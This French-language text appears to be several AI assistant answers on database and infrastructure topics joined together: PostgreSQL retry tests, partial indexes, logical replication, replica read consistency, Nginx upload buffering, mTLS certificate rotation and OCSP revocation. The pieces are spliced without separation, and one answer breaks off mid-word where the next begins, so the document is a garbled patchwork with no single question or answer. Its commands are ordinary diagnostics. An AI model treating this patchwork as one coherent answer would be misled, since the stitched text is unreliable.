Note sur `SET TRANSACTION` : le placer en première instruction de la transaction fonctionne, mais un réglage au niveau de la connexion ou du rôle est plus sûr en production car il ne peut pas être oublié par un chemin de code parallèle. Vérifiez le comportement exact dans la documentation de votre version.
## 7. Vérification
Tests que je recommande d'écrire, avec assertions réelles :
1. **Test de conflit provoqué.** Deux connexions, deux transactions `SERIALIZABLE` entrelacées manuellement sur le même prédicat, assertion : la seconde lève bien `40001`, puis assertion : après la boucle de reprise l'invariant métier est respecté et l'effet est appliqué **exactement une fois**.
2. **Test d'idempotence.** Appel deux fois avec la même clé d'idempotence, assertion : une seule ligne d'effet en base.
3. **Test de non-reprise.** Injection d'une `23505` étrangère à la clé d'idempotence, assertion : aucune reprise, exception propagée, compteur de tentatives égal à 1.
4. **Test de bornes.** Conflit permanent simulé, assertion : nombre d'appels exactement `MAX_ATTEMPTS`, durée totale inférieure au budget.
5. **Test de pureté.** Doublure de l'adaptateur ré## 1. Diagnostic
La requête combine trois besoins : un filtre très sélectif après coup (`status='pending'` ne concerne que 1 % des lignes), un ordre (`ORDER BY created_at`), et un arrêt anticipé (`LIMIT 1`). Sans index adapté, le moteur doit soit balayer la table entière puis trier, soit parcourir un index global sur `created_at` en rejetant en moyenne 99 lignes terminées avant d'en trouver une éligible, ce qui coûte des accès au tas (heap) inutiles.
Le cas décrit est exactement celui pour lequel l'index partiel existe : « index entries are created only for those records that satisfy some conditional expression » (Wikipédia anglophone, article *Database index*, section *Usage*). L'ordre des colonnes de l'index doit par ailleurs correspondre à l'ordre de recherche et de tri (même article, section *Column order*).
## 2. Décision recommandée
| Élément | Valeur recommandée |
|---|---|
| **Prédicat** | `WHERE status = 'pending'` (littéral, identique à celui de la requête) |
| **Colonne(s) clé** | `created_at` (ASC), seule colonne de tri |
| **Colonne(s) portée** | `id` en `INCLUDE`, pour viser un parcours index seul |
| **Type** | Index **B-tree partiel**, non ordonnant (non clusterisé) |
| **Bénéfice principal** | Le `LIMIT 1` devient une simple descente à l'extrémité gauche de l'index, sans tri ni ligne rejetée |
## 3. Code
```sql
-- Création sans blocage des écritures (PostgreSQL)
CREATE INDEX CONCURRENTLY idx_jobs_pending_created_at
ON jobs (created_at)
INCLUDE (id)
WHERE status = 'pending';
```
Variante sans `INCLUDE` si votre version ne le supporte pas, ou si vous préférez une clé composite exploitable aussi pour départager les ex aequo :
```sql
CREATE INDEX CONCURRENTLY idx_jobs_pending_created_at
ON jobs (created_at, id)
WHERE status = 'pending';
```
Précision d'honnêteté : la syntaxe `CREATE INDEX ... INCLUDE ... WHERE ...` relève de ma connaissance du SQL PostgreSQL, je n'ai pas consulté ici la documentation officielle pour la certifier ; vérifiez-la sur la documentation de votre version exacte.
## 4. Bénéfices, avec l'ordre de grandeur
Le gain a trois composantes distinctes.
**a) Taille et profondeur.** L'index ne contient que les lignes satisfaisant le prédicat, soit 1 % des lignes. À titre d'illustration chiffrée (hypothèse de travail, aucune volumétrie ne m'a été fournie), pour $N = 10^7$ lignes, une entrée d'environ 32 octets et un facteur de branchement de 200 par page :
$$N_{\text{partiel}} = 0{,}01 \times 10^7 = 10^5 \text{ entrées}$$
$$\text{taille} \approx \frac{10^5 \times 32}{2^{20}} \approx 3{,}05 \text{ Mio} \quad \text{contre} \quad \frac{10^7 \times 32}{2^{20}} \approx 305 \text{ Mio}$$
$$h_{\text{complet}} = \lceil \log_{200}(10^7) \rceil = 4 \qquad h_{\text{partiel}} = \lceil \log_{200}(10^5) \rceil = 3$$
Soit un facteur 100 sur l'espace et un niveau d'arbre en moins. L'index partiel tient alors en cache, ce qui est souvent le gain dominant en pratique. Ces nombres sont des projections sous les hypothèses ci-dessus, pas des mesures.
**b) Suppression du tri et arrêt immédiat.** Un B-tree stocke les clés en ordre trié (Wikipédia, *Database index*, section *Non-clustered*). L'ordre de l'index coïncidant avec `ORDER BY created_at`, le plan attendu est un `Index Scan` avec `LIMIT 1` : le moteur lit **une** entrée, la plus à gauche, et s'arrête. Le coût devient quasi indépendant du nombre total de lignes, au lieu de $O(N)$ pour un balayage plus tri.
**c) Zéro ligne rejetée.** Avec un index global sur `created_at`, les entrées des 99 % de tâches terminées sont intercalées dans l'ordre chronologique et doivent être visitées puis filtrées. L'index partiel les exclut par construction.
Bénéfice secondaire en écriture : une ligne qui passe de `pending` à un état terminal sort de l'index, et les insertions ou mises à jour de lignes non `pending` n'entraînent aucune maintenance de cet index. L'index reste donc petit dans le temps, au prix résiduel décrit au point 6.
## 5. Vérification
À exécuter chez vous, je n'ai aucun accès à votre base et ne peux donc rien mesurer.
```sql
-- 1. Le plan doit montrer : Index Scan using idx_jobs_pending_created_at,
-- aucun Sort, aucun Filter sur status, Rows Removed by Filter = 0
EXPLAIN (ANALYZE, BUFFERS, VERBOSE)
SELECT id FROM jobs WHERE status = 'pending' ORDER BY created_at LIMIT 1;
-- 2. Taille réelle de l'index
SELECT pg_size_pretty(pg_relation_size('idx_jobs_pending_created_at'));
-- 3. L'index est-il réellement utilisé en production
SELECT idx_scan, idx_tup_read, idx_tup_fetch
FROM pg_stat_user_indexes
WHERE indexrelname = 'idx_jobs_pending_created_at';
-- 4. Statistiques à jour avant tout jugement sur le plan
ANALYZE jobs;
```
Critère de succès : `Sort` absent du plan, `Rows Removed by Filter: 0`, et un nombre de blocs lus de l'ordre de la hauteur de l'arbre.
## 6. Risques, limites et pièges
- **Piège majeur, requête paramétrée.** Le planificateur n'utilise un index partiel que s'il peut **prouver** que le prédicat de la requête implique celui de l'index. Avec `status = $1`, la preuve peut échouer selon le mode de préparation, et l'index sera ignoré. Conservez le littéral `'pending'` dans le SQL, ou vérifiez le plan avec paramètre réel. À contrôler impérativement au point 5.
- **Statut non textuel.** Si `status` est un `enum`, un domaine ou une colonne d'un type personnalisé, alignez le littéral et le type dans le prédicat, sinon une conversion implicite peut empêcher la correspondance.
- **Parcours index seul non garanti.** L'`INCLUDE (id)` autorise un `Index Only Scan`, il ne le garantit pas : la carte de visibilité doit être à jour, donc dépendante de l'autovacuum. Sur une table de file d'attente à fort taux de mise à jour, attendez-vous à des accès au tas.
- **Ballonnement (bloat) de la file.** Une table `jobs` subit des mises à jour massives de `status`. Ces mises à jour modifiant une colonne indexée (via le prédicat), l'optimisation HOT ne s'applique pas et l'index accumule des versions mortes. Surveillez le bloat et envisagez un autovacuum plus agressif sur cette table.
- **Concurrence entre consommateurs.** Le motif `LIMIT 1` seul provoque des collisions si plusieurs travailleurs lisent la même ligne. La parade usuelle est `SELECT ... FOR UPDATE SKIP LOCKED`, à combiner avec ce même index. Point d'attention : `SKIP LOCKED` fait passer les travailleurs sur les entrées suivantes de l'index, l'index partiel reste pertinent, mais les lignes verrouillées deviennent des lignes visitées puis abandonnées.
- **Ex aequo sur `created_at`.** Si des horodatages sont identiques, l'ordre du résultat n'est pas déterministe. Ajoutez `ORDER BY created_at, id` et utilisez la variante à clé composite.
- **`CREATE INDEX CONCURRENTLY`** évite le verrou d'écriture long mais peut échouer et laisser un index `INVALID` à supprimer puis recréer ; ce n'est pas une opération sans risque, prévoyez le contrôle `pg_index.indisvalid` après création.
- **Une amélioration mesurée sur un jeu de données ne prouve pas une amélioration universelle.** Validez sur la volumétrie et la distribution de production, pas seulement en préproduction.**Propagation DML** La réplication logique propage les opérations DML (INSERT, UPDATE, DELETE) via le décodage des changements du journal WAL (Write-Ahead Log). Les modifications de données sont transmises du nœud primaire aux réplicas sous forme de flux logique. (Documentation PostgreSQL : "Logical Replication") **Propagation DDL** Les commandes DDL (ALTER TABLE, CREATE INDEX, etc.) **ne sont pas répliquées automatiquement**. Un `ALTER TABLE` exécuté sur le primaire doit être appliqué manuellement sur chaque réplica avant que les nouvelles opérations DML (liées au schéma modifié) ne soient traitées. (Documentation PostgreSQL : "Limitations of Logical Replication") **Ordre de déploiement** 1. **Déployer le DDL** : Exécuter manuellement `ALTER TABLE` (ou autre DDL) **simultanément sur tous les réplicas** pendant une fenêtre de maintenance. 2. **Exécuter le DDL sur le primaire** : Appliquer la même modification sur le primaire. 3. **Reprendre les DML** : Les nouvelles opérations DML (utilisant le schéma mis à jour) seront répliquées. **Risques principaux** - **Incohérence de schéma** : Si le DDL n'est pas appliqué sur un réplica, les DML ultérieurs échouent avec des erreurs (`column does not exist`, `relation not found`). - **Interruption de réplication** : La réplication logique s'interrompt (`FATAL: could not receive data from WAL stream`) jusqu'à résolution manuelle. - **Downtime étendu** : Nécessite une coordination stricte et un arrêt des écritures pendant le déploiement du DDL. - **Dépendances non gérées** : Les objets dépendants (vues, fonctions) peuvent se briser si non mis à jour. **Atténuation des risques** - Utiliser des outils de gestion de schéma (Liquibase, Flyway) pour déployer les DDL de façon synchronisée. - Tester les changements de schéma dans un environnement de staging. - Surveiller les slots de réplication et les erreurs applicatives après déploiement. (Sources : Documentation PostgreSQL 15, chapitres "Logical Replication" et "Monitoring")
- **Anomalie :** lecture périmée (*stale read*), donc violation de **read-your-writes**.
- **Garantie manquante :** cohérence de session garantissant qu’un client relit au moins ses propres écritures.
- **Routage correct :** après l’écriture, router la lecture vers le primaire, ou uniquement vers une réplique ayant rattrapé le commit ; sinon attendre brièvement puis basculer sur le primaire.
- **Critère de retour de la réplique :** la réintégrer pour cette lecture lorsque sa position **rejouée/appliquée** vérifie
$$\operatorname{LSN}_{\text{replay}}(\text{réplique}) \ge \operatorname{LSN}_{\text{commit}}(\text{écriture}).$$
Un simple seuil de retard temporel, ou une position seulement reçue/fluchée, ne suffit pas.## 1. Diagnostic
Le comportement décrit est le comportement **par défaut** de Nginx en proxy : le corps de requête est intégralement lu et stocké (mémoire puis fichier temporaire) avant qu'un seul octet ne parte vers l'amont. Sur 4 Gio, cela coûte :
| Débit disque effectif | Écriture tampon | Écriture + relecture |
|---|---|---|
| 100 Mo/s | 42,9 s | 85,9 s |
| 500 Mo/s | 8,6 s | 17,2 s |
| 1000 Mo/s | 4,3 s | 8,6 s |
$4\ \text{Gio} = 4 \times 1024^3 = 4\,294\,967\,296$ octets, écrits puis relus, soit $\approx 8{,}6$ Go d'E/S disque par upload (calcul vérifié dans le laboratoire local). S'y ajoute la latence perçue : l'amont ne voit rien avant la fin de la réception côté client, soit $\frac{4{,}295 \times 10^9 \times 8}{10^9} \approx 34$ s sur un lien client à 1 Gb/s, et $\approx 344$ s à 100 Mb/s.
Avertissement de méthode : les noms de directives ci-dessous proviennent de ma connaissance de la documentation Nginx, que **je ne peux pas vérifier avec mes outils locaux** (l'encyclopédie hors ligne consultée, article NGINX, ne documente pas les directives). Traitez-les comme à confirmer sur `nginx -V` et la doc de votre version exacte avant mise en production.
## 2. Décision recommandée
**Directive : `proxy_request_buffering`. Valeur : `off`.** Contexte : `http`, `server` ou `location`. À poser sur la seule route d'upload, jamais globalement.
Elle doit être accompagnée de `proxy_http_version 1.1`, sans quoi un corps de taille inconnue (chunked) ne peut pas être relayé : en HTTP/1.0 vers l'amont, Nginx ne peut pas émettre de `Transfer-Encoding: chunked` (mécanisme décrit dans l'article Chunked transfer encoding, Wikipedia EN) et la requête échoue.
Équivalents selon le backend, même sémantique : `fastcgi_request_buffering`, `uwsgi_request_buffering`, `scgi_request_buffering`, `grpc_pass` (gRPC streame nativement).
## 3. Configuration
```nginx
location /api/upload {
proxy_pass http://app_upstream;
# coeur du correctif
proxy_request_buffering off;
proxy_http_version 1.1;
proxy_set_header Connection "";
# plafond explicite : 0 = illimite, a eviter
client_max_body_size 5g;
client_body_buffer_size 256k;
# un upload long ne doit pas etre coupe par un timeout d'inactivite
client_body_timeout 300s;
proxy_read_timeout 600s;
proxy_send_timeout 600s;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for;
proxy_set_header X-Forwarded-Proto $scheme;
}
```
Piège fréquent à écarter : `proxy_max_temp_file_size` et `proxy_buffering` concernent la **réponse** de l'amont, pas la requête. Les régler ne change rien au problème posé.
## 4. Effet attendu
- L'amont reçoit les octets au fil de l'eau, en `Transfer-Encoding: chunked` si la longueur est inconnue, ou avec le `Content-Length` d'origine s'il est fourni.
- Suppression de l'écriture disque du corps sur le proxy, donc $\approx 8{,}6$ Go d'E/S économisés par upload et disparition du risque de saturation de `client_body_temp_path`.
- Le temps de bout en bout n'est plus additif : le traitement amont (validation, hash, écriture objet, transfert S3) se superpose à la réception réseau, au lieu de démarrer après.
- Un rejet applicatif précoce (401, 413, quota) peut interrompre l'upload dès les premiers kilo-octets au lieu de 4 Gio plus tard.
## 5. Vérification
1. `nginx -t` puis rechargement, et contrôle qu'aucun `proxy_request_buffering` concurrent ne s'applique : `nginx -T | grep -n -e request_buffering -e client_body_temp_path -e client_max_body_size`.
2. Preuve directe de l'absence de tampon : surveiller le répertoire de corps pendant un upload de test. Sur un shell du conteneur ou de l'hôte, `watch -n 1 'ls -l /var/lib/nginx/body 2>/dev/null | tail'` (adaptez le chemin à celui affiché par `nginx -T`). Attendu : aucun fichier temporaire de plusieurs centaines de Mo.
3. Preuve côté amont : journaliser dans le backend l'horodatage du premier octet de corps reçu et le comparer à l'horodatage de début de requête client. Attendu : écart de l'ordre de la seconde, non de la durée totale d'upload.
4. Génération d'un jeu de test sans écrire 4 Gio sur disque : `head -c 4294967296 /dev/zero | curl -sS -X POST --data-binary @- -H 'Content-Type: application/octet-stream' https://votre-hote/api/upload` (corps de longueur inconnue, donc chunked, ce qui teste précisément le chemin critique).
5. Contrôler `$request_time` et `$upstream_response_time` dans le `log_format` avant/après, sur au moins plusieurs dizaines d'uploads réels, et non sur un tir unique.
## 6. Risques restants, explicitement non nuls
Cette directive n'est pas neutre. Elle déplace le risque, elle ne le supprime pas.
- **Perte du bouclier anti-client-lent.** Le tampon protégeait l'amont : désormais un worker applicatif reste occupé pendant toute la durée de l'upload, soit $\approx 344$ s à 100 Mb/s. Sur un backend à concurrence limitée (workers synchrones, pool de threads), quelques dizaines d'uploads lents suffisent à un déni de service par épuisement de workers. Contre-mesures : `limit_conn` par IP sur la route d'upload, `limit_req`, et un amont réellement asynchrone.
- **Perte du basculement automatique.** Dès que le corps a commencé à être transmis, la requête n'est plus rejouable : `proxy_next_upstream` ne peut pas la reprendre sur un autre serveur. Une panne amont en milieu d'upload se traduit par un échec visible pour le client. Contre-mesure : uploads reprenables côté protocole (découpage en parties, `tus`, multipart S3), pas côté proxy.
- **Robustesse aux coupures.** Sans tampon, un corps partiel a déjà été livré à l'amont. Celui-ci doit être transactionnel : écriture dans un emplacement temporaire, validation d'intégrité, publication atomique. À défaut, vous créez des objets tronqués. C'est un risque applicatif, pas Nginx.
- **Contrôle de taille moins précoce.** `client_max_body_size` reste appliqué, mais pour un corps chunked il ne peut l'être qu'au fil de la réception, donc le dépassement est détecté tardivement. Ne mettez pas `client_max_body_size 0` : cela supprime toute borne.
- **Réactivation silencieuse.** Un `proxy_request_buffering on` hérité d'un autre bloc, un module WAF, ou une couche amont supplémentaire (autre Nginx, Apache, ALB, Cloudflare) peut retamponner. La chaîne complète doit être vérifiée maillon par maillon ; Cloudflare, par exemple, applique ses propres limites de corps selon l'offre, point que je ne peux pas chiffrer de façon fiable ici.
- **Clients HTTP/2 et HTTP/3.** Le comportement de streaming du corps pour ces protocoles a évolué selon les versions de Nginx. Je ne peux pas vérifier les numéros de version exacts avec mes outils, donc je ne les avance pas : testez le point 2 ci-dessus sur votre version précise et avec le protocole réellement utilisé par vos clients, avant de conclure.
- **Timeouts allongés.** Les valeurs de 300 s et 600 s données plus haut sont un défaut raisonnable, non une recommandation universelle : elles augmentent la fenêtre de rétention de connexions. Calibrez-les sur la taille maximale attendue divisée par le débit minimal acceptable, et associez-les à une limite de connexions concurrentes.
Hypothèses posées : reverse proxy Nginx en HTTP/1.1 vers un amont sur le même réseau, uploads de type POST/PUT à corps unique, absence de module tiers modifiant la lecture du corps. Si l'un de ces points diffère, en particulier la présence d'un WAF ou d'un second proxy, la conclusion doit être revérifiée.- **Couche de rejet :** Node, car $20\,\text{Mo} > 10\,\text{Mo}$.
- **Code attendu :** HTTP `413 Content Too Large`.
- **Contradiction :** l’application annonce 25 Mo, alors que la chaîne est limitée à 10 Mo par Node.
- **Limite publique cohérente :** 10 Mo maximum.## Diagnostic
Deux propriétés de votre situation déterminent tout le plan.
**1. La CA est inchangée.** En X.509, un certificat feuille lie une identité à une clé publique via la signature d'une autorité, et la validation se fait en remontant jusqu'à une ancre de confiance (article encyclopédique local X.509, sections « Certificates » et « Certification path validation »). Comme l'ancre ne change pas, **un nouveau certificat client signé par la même CA est accepté immédiatement par tout pair qui valide correctement la chaîne**, sans aucune action côté vérificateur. C'est votre principal atout : aucune rotation de trust store n'est requise.
**2. Le risque réel n'est donc pas la chaîne, il est dans les vérifications hors chaîne.** Ce sont elles qui cassent une rotation de feuille :
| Mécanisme | Effet si présent | Où vérifier |
|---|---|---|
| Épinglage de la clé publique ou de l'empreinte de la feuille | Rejet total du nouveau certificat | config proxy, code client |
| Liste blanche de Subject DN ou de CN | Rejet si le DN change | politique d'autorisation serveur |
| Liste blanche de numéros de série | Rejet systématique : le numéro de série est unique par certificat émis par une CA donnée (article X.509, « In all versions, the serial number must be unique for each certificate issued by a specific CA (as mentioned in RFC 5280) ») | ACL |
| CRL / OCSP mal configurés ou fail-closed sans réseau | Rejet ou blocage | article X.509, sections CRL et OCSP |
| `notBefore` dans le futur + dérive d'horloge | Rejet « certificate not yet valid » | champ Validity period (article X.509, structure du certificat v3) |
| Connexions TLS persistantes dans les pools | L'ancien certificat reste en service silencieusement, puis coupure brutale à minuit | runtime applicatif |
**Principe directeur de l'ordonnancement :** en mTLS, chaque service est à la fois présentateur et vérificateur. On ne doit donc **jamais** ordonner par service, mais **par phase de capacité** : on élargit d'abord partout ce qui est *accepté*, puis on change ce qui est *présenté*, puis seulement on retire l'ancien. À aucun instant l'ensemble des certificats acceptés ne doit être réduit avant que la présentation ait basculé.
## Décision recommandée
Rotation en 8 phases, sens strict **accepter → présenter → retirer**, avec un canari et trois vagues croissantes (1, 4, 5, 10). Le double emplacement de certificat par service sert de mécanisme de retour arrière instantané, sans redéploiement.
## Séquence ordonnée
Calendrier calculé par mon outil local, avec l'**hypothèse** d'un départ à T0 et d'une expiration à T0 + 22 h (adaptez l'échelle à votre heure réelle d'expiration) :
| Phase | Créneau | Durée | Contenu |
|---|---|---|---|
| 0 | T0 → +1,5 h | 1,5 h | Inventaire des 20 services, graphe d'appel, détection de pinning et d'ACL |
| 1 | +1,5 → +3 h | 1,5 h | Génération des 20 paires de clés et certificats, vérification hors ligne |
| 2 | +3 → +5 h | 2 h | Extension des ensembles d'acceptation sur 20/20, aucun basculement |
| 3 | +5 → +6 h | 1 h | Canari : 1 service bascule sa présentation, observation |
| 4 | +6 → +7 h | 1 h | Vague A : 4 services |
| 5 | +7 → +8 h | 1 h | Vague B : 5 services |
| 6 | +8 → +9,5 h | 1,5 h | Vague C : 10 services restants |
| 7 | +9,5 → +10,5 h | 1 h | Vérification globale : zéro présentation de l'ancien certificat |
Fin à **T0 + 10,5 h**, marge résiduelle **11,5 h** avant expiration, soit un ratio marge/temps utilisé de **1,1**. Cette marge n'est pas du confort, c'est le budget de reprise si une vague échoue.
### Phase 0, inventaire et détection des pièges
Ne générez rien avant d'avoir répondu à trois questions : qui épingle, qui filtre sur le DN ou le série, qui garde des connexions ouvertes plus longtemps que la fenêtre de rotation.
```bash
# Empreinte, DN, série et validité du certificat actuellement présenté
for svc in $(cat services.txt); do
echo "=== $svc"
openssl s_client -connect "$svc:8443" -servername "$svc" </dev/null 2>/dev/null \
| openssl x509 -noout -subject -issuer -serial -dates -fingerprint -sha256
done
```
Recherchez les épinglages dans la configuration, sans jamais journaliser de matière secrète :
```bash
grep -RniE 'pin|fingerprint|sha256//|serial|allowed_dn|allowed_cn' \
--include='*.yaml' --include='*.yml' --include='*.conf' --include='*.env.example' .
```
### Phase 1, émission
Générez les clés **sur** le service cible ou dans un HSM, jamais sur un poste de rebond ; ne transportez que des CSR. Une clé privée qui a circulé en clair est compromise par définition, indépendamment du fait que la rotation réussisse.
```bash
# Sur chaque service : clé + CSR, la clé ne quitte jamais l'hôte
umask 077
openssl ecparam -name prime256v1 -genkey -noout -out client-new.key
openssl req -new -key client-new.key -out client-new.csr \
-subj "/CN=<MEME_CN_QUE_L_ACTUEL>/O=<MEME_O>"
```
Point critique : **conservez à l'identique le Subject DN et les SAN** de l'ancien certificat. C'est ce qui neutralise d'avance toute liste blanche sur le DN. Le certificat doit porter l'usage étendu d'authentification client, `id-kp-clientAuth` ; l'article X.509 local confirme la sémantique du champ Extended Key Usage et donne les exemples serverAuth et messagerie, mais **je n'ai pas de source locale confirmant l'OID exact de clientAuth**, à vérifier dans RFC 5280 §4.2.1.12 avant émission.
Contrôles obligatoires avant tout déploiement :
```bash
# 1. La chaîne valide contre la CA existante, en usage client
openssl verify -CAfile ca.pem -purpose sslclient client-new.pem
# 2. La clé correspond bien au certificat (les deux condensats doivent être identiques)
openssl pkey -in client-new.key -pubout -outform DER | openssl sha256
openssl x509 -in client-new.pem -pubkey -noout | openssl pkey -pubin -pubout -outform DER | openssl sha256
# 3. notBefore n'est PAS dans le futur : sinon rejet malgré une chaîne correcte
openssl x509 -in client-new.pem -noout -dates
openssl x509 -in client-new.pem -noout -checkend 0 && echo "valide maintenant"
```
Vérifiez aussi la synchronisation horaire des 20 hôtes. Une dérive d'horloge combinée à un `notBefore` fraîchement émis est une cause classique d'échec de rotation, et elle frappe simultanément plusieurs services.
### Phase 2, élargir l'acceptation, jamais la réduire
Ici on ne bascule rien. On rend chaque service capable d'accepter l'ancien **et** le nouveau certificat de ses pairs, et on charge le nouveau certificat dans le second emplacement sans le présenter.
Comme la CA est inchangée, cette phase est en principe un no-op côté validation de chaîne. Elle n'est indispensable que là où la phase 0 a révélé un épinglage ou une liste blanche : dans ce cas, ajoutez la nouvelle empreinte **en plus** de l'ancienne, en union, pas en remplacement. Un remplacement à cette étape provoque exactement la coupure que vous cherchez à éviter.
Critère de sortie de phase : les 20 services répondent « nouveau certificat chargé, ancien encore présenté, union des acceptations effective ». Sans ce 20/20, on n'entre pas en phase 3.
### Phases 3 à 6, basculer la présentation par vagues
Choix du canari : le service le **moins** critique parmi ceux qui ont le plus de pairs distincts. Un canari sans trafic ne prouve rien, un canari critique transforme un incident en panne majeure.
Après le basculement, forcez le renouvellement des connexions, sinon vous n'observez rien de significatif :
```bash
# Recharge à chaud plutôt que redémarrage brutal, si votre pile le permet
nginx -t && nginx -s reload # exemple ; adaptez à votre serveur réel
```
Puis vérifiez que le nouveau certificat est bien celui présenté :
```bash
openssl s_client -connect "$svc:8443" -servername "$svc" </dev/null 2>/dev/null \
| openssl x509 -noout -serial -fingerprint -sha256
```
Ordre au sein des vagues : basculez **les feuilles du graphe d'appel avant les nœuds centraux**. Un service très appelé qui bascule tôt expose son nouveau certificat à un grand nombre de vérificateurs d'un coup ; en cas d'ACL oubliée, le rayon d'impact est maximal.
Critère de progression, à valider avant chaque vague suivante : taux d'échec de poignée de main TLS inchangé, latence du 99e centile inchangée, zéro erreur du type `certificate verify failed`, `unknown ca`, `certificate not yet valid`.
### Phase 7, vérification globale
Objectif : prouver que **plus aucun** service ne présente l'ancien certificat, en comparant les empreintes observées à la liste des nouvelles empreintes attendues. Tant que cette preuve n'est pas faite, considérez qu'un service résiduel coupera à l'expiration.
## Retrait de l'ancien certificat, à ne pas faire cette nuit
Ne retirez l'ancien certificat des emplacements et des ensembles d'acceptation qu'**après** l'heure d'expiration et après une période d'observation, dans un créneau séparé. Le retrait est l'unique opération destructive de ce plan : il supprime votre capacité de retour arrière. Il n'apporte aucune disponibilité, seulement de l'hygiène.
Si un certificat doit être considéré comme compromis, le retrait de la liste d'acceptation ne suffit pas : il faut une révocation par la CA, diffusée par CRL ou vérifiable par OCSP (article X.509 local, sections « Certificate revocation list » et OCSP). Notez que la révocation ne produit un effet qu'une fois la liste ou la réponse propagée aux vérificateurs, et selon leur politique de traitement des échecs de récupération.
## Retour arrière
Le double emplacement vous donne un rollback par phase, sans redéploiement : repointez l'emplacement actif sur l'ancien certificat et rechargez. Conditions pour que ce rollback fonctionne réellement :
1. l'ancien certificat et sa clé sont **encore présents** et non expirés au moment du rollback ;
2. l'ensemble d'acceptation des pairs contient toujours l'ancienne empreinte, ce qui est garanti si vous n'avez rien retiré en phase 2 ;
3. la procédure est idempotente : la rejouer deux fois ne doit pas produire d'état intermédiaire.
Passé l'heure d'expiration, **le rollback n'existe plus**. C'est la raison pour laquelle la marge de 11,5 h doit être préservée et non consommée par des attentes.
## Risques et limites
- **Les durées du tableau sont une hypothèse de dimensionnement**, produite par mon calcul local à partir d'un budget de 22 h, pas une mesure de votre système. Elles doivent être recalées sur votre heure d'expiration exacte, votre nombre de pairs et votre temps de recharge observé.
- **Je n'ai accès ni à votre inventaire, ni à vos configurations, ni à vos certificats.** Je ne peux donc pas affirmer que vous n'avez pas d'épinglage, ni que vos 20 services acceptent réellement le nouveau certificat. La phase 0 est la seule chose qui l'établira.
- Un succès de commande ou un rechargement sans erreur **ne prouve pas** que le nouveau certificat est présenté : seule l'inspection de l'empreinte réellement observée sur le fil le prouve.
- Une poignée de main réussie sur un échantillon de connexions **ne prouve pas** que tous les chemins d'appel fonctionnent. Vingt services peuvent former jusqu'à 380 paires ordonnées non réflexives ; un test fini ne généralise pas à l'ensemble. Complétez par une matrice de connectivité dirigée sur les paires réellement utilisées, issue de votre graphe d'appel.
- Les connexions TLS persistantes et la reprise de session peuvent masquer un service non basculé pendant des heures. Sans renouvellement forcé des connexions, votre phase 7 peut conclure à tort.
- Cette rotation ne corrige pas la cause racine : une expiration découverte à J-1 signale l'absence de supervision d'échéance et d'automatisation du renouvellement. À traiter dans un chantier distinct, avec alerte à J-30 et J-7 sur le champ `notAfter`.## Diagnostic
Deux assertions coexistent, et elles ne portent pas sur le même objet. « Certificat valide » est un verdict de **construction de chemin et de signature** ; « revoked » est un verdict de **statut de vie du certificat**. Il n'y a donc aucune contradiction logique : un certificat parfaitement bien formé, bien signé et non expiré peut avoir été révoqué par son émetteur, précisément parce que la date d'expiration ne remplace pas la révocation (article encyclopédique *Certificate revocation list*, section « Revocation versus expiration »).
La réponse OCSP est signée par l'autorité de certification, pas par le serveur ; le détenteur du certificat ne peut donc pas la forger, ce qui rend un `revoked` staplé fortement crédible (article *OCSP stapling*, section « Solution »).
---
## Les quatre verdicts
| Axe | Verdict | Fondement |
|---|---|---|
| **Chaîne** | **Valide** (portée limitée) | Chemin construit jusqu'à une ancre de confiance, signatures vérifiées, contraintes de base respectées. Ce verdict ne dit rien du statut de révocation (RFC 5280, profil de certificat et de CRL) |
| **Temps** | **Valide pour le certificat**, à **qualifier pour la réponse OCSP** | Le certificat est dans sa fenêtre $[\text{notBefore},\ \text{notAfter}]$. Mais la réponse staplée a sa propre fraîcheur : il faut $\text{thisUpdate} \le t_{\text{now}} < \text{nextUpdate}$, avec tolérance d'horloge. Les répondeurs utilisent massivement des réponses présignées valides plusieurs jours (article *Online Certificate Status Protocol*, section « Protocol details ») |
| **Révocation** | **RÉVOQUÉ** , verdict négatif prioritaire et autoritatif | L'émetteur est la seule source de vérité sur le statut ; sa base de révocation est le lieu de confiance unique où une compromission est enregistrée (article *Online Certificate Status Protocol*, section « Basic PKI implementation »). La révocation est irréversible, sauf l'état `certificateHold` (article *Certificate revocation list*, section « Revocation states ») |
| **Connexion** | **REFUSÉE** , échec fermé, sans possibilité de contournement | Un client recevant une réponse staplée invalide interrompt la connexion (article *OCSP stapling*, section « Solution »). Le comportement « soft-fail » ne s'applique qu'à l'**indisponibilité** du service de révocation, jamais à un `revoked` explicite |
**Verdict global : connexion à rejeter.** Le statut de révocation est un veto : il domine tous les autres verdicts positifs.
---
## Conditions sous lesquelles le `revoked` est réellement opposable
Avant de conclure, cinq contrôles doivent tenir. Ils relèvent de la distinction entre la **vérité** d'un statut, la **preuve** dont on dispose et la **politique** appliquée.
1. **Authenticité du signataire.** La réponse est signée soit par la clé de l'émetteur du certificat, soit par un répondeur délégué dont le certificat est émis par ce même émetteur et porte l'usage étendu `id-kp-OCSPSigning`, OID `1.3.6.1.5.5.7.3.9` (article *Online Certificate Status Protocol*, section « Protocol details »).
2. **Correspondance du `CertID`.** `issuerNameHash`, `issuerKeyHash` et `serialNumber` doivent désigner exactement le certificat présenté. Sinon la réponse porte sur un autre certificat et ne prouve rien.
3. **Fraîcheur.** `producedAt`, `thisUpdate` et `nextUpdate` doivent encadrer l'instant courant.
4. **Absence de rejeu exploitable.** OCSP est vulnérable au rejeu, et le `nonce` est rarement utilisé en pratique du fait des réponses présignées (article *Online Certificate Status Protocol*, section « Protocol details »). Le rejeu sert normalement à faire passer un ancien `good` ; le cas symétrique, rejouer un ancien `revoked` alors que le statut était `certificateHold` puis levé, est théoriquement possible et justifie le contrôle 3.
5. **`revocationTime`.** Pour TLS, l'acte est présent : si $t_{\text{now}} \ge \text{revocationTime}$, refus. La comparaison à une date antérieure n'a de sens que pour la signature de code horodatée, pas pour une session TLS.
Si un seul de ces contrôles échoue, le verdict révocation passe de **RÉVOQUÉ** à **INDÉTERMINÉ**. Le verdict connexion reste alors **REFUSÉE** si la politique est en mode strict ou si le certificat porte l'extension *must-staple* (article *Online Certificate Status Protocol*, section « Criticisms »).
---
## Vérification opérationnelle
Je n'ai pas exécuté ces commandes et je n'ai pas accès à votre serveur ; leur sortie seule fera preuve. La disponibilité exacte des options dépend de votre version d'OpenSSL.
Récupérer le staple tel que servi :
```bash
openssl s_client -connect exemple.tld:443 -servername exemple.tld \
-status -tlsextdebug < /dev/null 2>&1 | sed -n '/OCSP response/,/^---/p'
```
Extraire la réponse brute puis l'inspecter hors bande :
```bash
openssl s_client -connect exemple.tld:443 -servername exemple.tld \
